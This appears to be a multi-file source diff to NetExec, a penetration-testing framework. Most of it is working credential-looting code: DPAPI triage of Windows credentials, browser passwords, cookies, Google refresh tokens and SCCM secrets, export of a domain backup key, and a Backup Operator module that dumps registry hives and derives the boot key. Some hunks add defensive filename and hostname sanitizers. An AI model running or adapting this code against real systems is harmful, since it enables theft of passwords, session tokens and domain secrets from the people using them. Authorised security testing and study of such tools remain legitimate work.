line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -11,9 +11,8 @@ from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.network import DPLootConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
@@ -61,7 +60,7 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
@@ -69,16 +68,13 @@ class FirefoxTriage:
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.get_users()
|
||||
users = self.conn.list_users()
|
||||
for user in users:
|
||||
try:
|
||||
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
@@ -89,18 +85,18 @@ class FirefoxTriage:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
logins_data = self.conn.read_file(path=logins_path, share=self.share)
|
||||
if logins_data is None:
|
||||
continue # No logins.json file found
|
||||
logins = self.get_login_data(logins_data=logins_data)
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
key4_data = self.conn.read_file(path=key4_path, share=self.share)
|
||||
if key4_data is None:
|
||||
continue
|
||||
# Get all available master keys (Firefox 144+ may have multiple keys)
|
||||
@@ -252,17 +248,6 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
return "", "", ""
|
||||
|
||||
def get_users(self):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data))
|
||||
@@ -1,9 +1,12 @@
|
||||
from contextlib import suppress
|
||||
from enum import Enum
|
||||
import hashlib
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from unicodedata import normalize
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
|
||||
return "".join(random.sample(string.ascii_letters, int(length)))
|
||||
|
||||
|
||||
def sanitize_dns(hostname, logger=nxc_logger):
|
||||
"""Return an untrusted hostname or domain as a safe, nonempty string."""
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
if hostname is None:
|
||||
return "_"
|
||||
|
||||
try:
|
||||
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
|
||||
except Exception:
|
||||
return "_"
|
||||
if not hostname:
|
||||
return "_"
|
||||
|
||||
# Replace path, configuration, formatting, whitespace, and control characters.
|
||||
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and not character.isspace()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable()
|
||||
and not normalized_character.isspace()
|
||||
and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in hostname
|
||||
)
|
||||
|
||||
# Neutralize traversal segments and Windows-trimmed trailing dots.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Bound filename length while retaining a stable identifier for long names.
|
||||
if len(sanitized.encode("utf-8")) > 253:
|
||||
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > 253 - len(suffix):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{suffix}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > 253
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character.isspace()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable()
|
||||
or normalized_character.isspace()
|
||||
or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
sanitized = "_"
|
||||
|
||||
# Report changed input without allowing logging failures to affect safety.
|
||||
if sanitized != hostname:
|
||||
received = ascii(hostname[:256])
|
||||
result = ascii(sanitized)
|
||||
if len(hostname) > 256 or len(received) > 256:
|
||||
received = f"{received[:253]}..."
|
||||
if len(result) > 256:
|
||||
result = f"{result[:253]}..."
|
||||
if logger is not None:
|
||||
with suppress(Exception):
|
||||
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
|
||||
return sanitized
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
|
||||
@@ -12,6 +12,7 @@ import contextlib
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"dns_hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
@@ -20,6 +21,9 @@ def parse_challenge(challange):
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
|
||||
@@ -1,4 +1,98 @@
|
||||
import hashlib
|
||||
from pathlib import PurePosixPath
|
||||
import re
|
||||
from unicodedata import normalize
|
||||
|
||||
|
||||
def sanitize_path_component(name, max_bytes=255):
|
||||
"""Return one portable, bounded path component from untrusted input."""
|
||||
# Reserve enough space for one character and the collision-resistant suffix.
|
||||
if max_bytes < 14:
|
||||
raise ValueError("max_bytes must be at least 14")
|
||||
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
try:
|
||||
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
|
||||
except Exception:
|
||||
name = ""
|
||||
if not name:
|
||||
return "_"
|
||||
|
||||
# Replace path, control, and Unicode-equivalent metacharacters.
|
||||
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable() and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in name
|
||||
)
|
||||
|
||||
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
while sanitized and (
|
||||
sanitized[-1] == "."
|
||||
or sanitized[-1].isspace()
|
||||
or normalize("NFKC", sanitized[-1]).endswith(".")
|
||||
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
|
||||
):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Avoid Windows device names, including names followed by an extension.
|
||||
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
|
||||
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
|
||||
sanitized = f"_{sanitized}"
|
||||
|
||||
# Bound the byte length with a stable digest while preserving short extensions.
|
||||
if len(sanitized.encode("utf-8")) > max_bytes:
|
||||
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
extension = ""
|
||||
extension_index = sanitized.rfind(".")
|
||||
if (
|
||||
extension_index > 0
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= 32
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
|
||||
):
|
||||
extension = sanitized[extension_index:]
|
||||
sanitized = sanitized[:extension_index]
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{digest}{extension}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > max_bytes
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or normalized[-1].isspace()
|
||||
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
|
||||
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable() or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
return "_"
|
||||
return sanitized
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
|
||||
+26
-4
@@ -28,6 +28,7 @@
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import tempfile
|
||||
import hashlib
|
||||
import datetime
|
||||
import random
|
||||
@@ -70,7 +71,8 @@ from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.paths import NXC_PATH, TMP_PATH
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -187,7 +189,7 @@ class myPKINIT:
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
now = datetime.datetime.now(datetime.UTC)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
@@ -530,8 +532,8 @@ def pfx_auth(self):
|
||||
return False
|
||||
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
|
||||
log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
@@ -568,3 +570,23 @@ def pfx_auth(self):
|
||||
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
|
||||
|
||||
def certificate_options(args):
|
||||
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
|
||||
if args.pfx_cert:
|
||||
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
|
||||
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
|
||||
with os.fdopen(handle, "wb") as pfx_file:
|
||||
pfx_file.write(pfxdata)
|
||||
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
|
||||
|
||||
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
@@ -99,3 +99,34 @@ class NXCRPCConnection:
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
@@ -1,5 +1,6 @@
|
||||
import contextlib
|
||||
import re
|
||||
from binascii import unhexlify
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
@@ -23,10 +24,61 @@ class NXCModule:
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
self.system_hive_saved = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def get_boot_key(self, context, dce):
|
||||
"""
|
||||
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
|
||||
using the already-connected `dce` this module sets up for the SAM/SECURITY
|
||||
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
|
||||
downloaded at all.
|
||||
|
||||
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
|
||||
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
|
||||
RemoteRegistry service via the Service Control Manager -- which needs admin-level
|
||||
rights a plain Backup Operator doesn't have. This module already gets
|
||||
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
|
||||
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
|
||||
that connection here.
|
||||
|
||||
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
|
||||
so the caller can fall back to the full SYSTEM hive save/download path.
|
||||
"""
|
||||
boot_key = b""
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
for key in ["JD", "Skew1", "GBG", "Data"]:
|
||||
context.log.debug(f"Retrieving class info for Lsa\\{key}")
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
dce,
|
||||
reg_handle,
|
||||
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
|
||||
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
|
||||
samDesired=rrp.KEY_READ,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
|
||||
class_out = ans["lpClassOut"]
|
||||
if isinstance(class_out, str):
|
||||
class_out = class_out.encode()
|
||||
boot_key += class_out[:-1]
|
||||
rrp.hBaseRegCloseKey(dce, key_handle)
|
||||
|
||||
rrp.hBaseRegCloseKey(dce, reg_handle)
|
||||
|
||||
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
|
||||
boot_key = unhexlify(boot_key)
|
||||
|
||||
final_boot_key = b""
|
||||
for i in range(len(boot_key)):
|
||||
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
|
||||
|
||||
return final_boot_key
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
rand_suffix = gen_random_string(8)
|
||||
@@ -36,8 +88,11 @@ class NXCModule:
|
||||
connection.trigger_winreg()
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
boot_key = None
|
||||
try:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
# Large hives can take minutes to save before the RPC call returns.
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
@@ -48,17 +103,44 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
